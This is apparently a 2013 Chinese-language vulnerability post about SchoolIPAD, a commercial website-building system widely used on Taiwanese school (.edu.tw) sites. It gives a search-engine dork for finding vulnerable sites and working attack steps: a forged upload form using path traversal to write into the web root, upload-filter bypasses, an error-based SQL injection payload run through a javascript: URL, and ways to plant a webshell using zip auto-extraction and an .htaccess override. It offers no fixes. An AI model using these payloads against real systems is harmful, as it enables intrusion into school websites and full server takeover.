Bugs · 2013 年 9 月 3 日 0

台湾某流行商业建站系统SchoolIPAD多个高危安全漏洞

建站系统特征:

inurl:.edu.tw/files filetype:php
找到约 14,900,000 条结果  (用时 0.13 秒)


关键字还有/bin/home.php等

厂商:HeimaVista Inc
漏洞上报:Silic Security核心技术人员Gale

1,后台部分组件绕过漏洞
后台部分组件自带cookie操作技能,可通过该处绕过登陆使用一部分组件,高危,详情不披露

2,文檔系統任意目录上传漏洞
文档系统的上传表单名称为Form1,此处对Category的变量未作限定,可更改input框

<option id=”cat_4″  selected  value=”../../../”>

将文件直接上传到网站根目录。
1.png 

也可本地构造表单例如:

  1. <form name=”Form1″ action=”http://域名/admin/filemanage.php?Programid=filemt” enctype=”multipart/form-data” method=”post”>
  2. <input type=”text” name=”Category” value=”../../../” />
  3. <input type=”file” name=”UpPict” size=”24″ />
  4. <input type=”submit” name=”AddHp” value=”上传” />
  5. <input type=”hidden” name=”BigClass” />
  6. <input type=”hidden” name=”Par” />
  7. <input type=”radio” name=”UnZip” value=”1″ id=”confirmyes” checked>
  8. <input type=”hidden” value=”” name=”Controlaction” value=”Upload” />

就可以得到如上图的示范。

3,上传组件过滤不严
上传.php将被重命名为.php.txt,部分版本不过滤.PhP,将多个php放入zip压缩包后也可上传并自动解压。
最绝的是,如果后缀名为.php.aaa.fdfdfsd;fadfsdf.gif.xxxxxxxxxxx这样的未知后缀,系统将不自动重命名,如果有解析漏洞。。。

4,打包组件注入漏洞
打包组件使用的是ajax的一个javascript函数,函数在页面的引用:

  1. function downByPar(key) {
  2.    fm_editor.sajaxSubmit(‘Op=downByPar&Par=’+key,”,’fm_editor.callBack’);
  3. }

这里的key是文件夹的序号。虽然文件夹名称等可以自定义,但是php在99%的情况下无权限重命名文件夹,因此这里是创建一个以1,2,3,4。。为序号的文件夹,然后编入数据库,名称与序号在数据库中排列

2.png

这里操作数据库的地方过滤不严,因此产生多类注入,部分可读写文件并取得webshell。

3.png

测试方法可以在地址栏输入

  1. javascript:downByPar(“4 union select 1 from (select count(*),concat(floor(rand(0)*2),0x3a,(select user() from information_schema.tables limit 0,1),0x3a)a from information_schema.tables group by a)b”);

就能得到数据库报错信息
也可以用联合查询,测试字段多是为5

6,getshell漏洞
新建一个文件夹,将webshell放到里面,然后压缩为zip在后台的文件部分上传,上传后系统将自动解压,webshell不会被重命名。如果目录不可执行(403或500),可附带一个.htaccess,内容如下:

  1. Options -ExecCGI
  2. AddHandler cgi-script .php

或者建立一个style文件夹,在文件夹中放入一个style.css,然后在style文件夹新建images文件夹,images文件夹放入webshell,在模板处新建模板即可获得webshell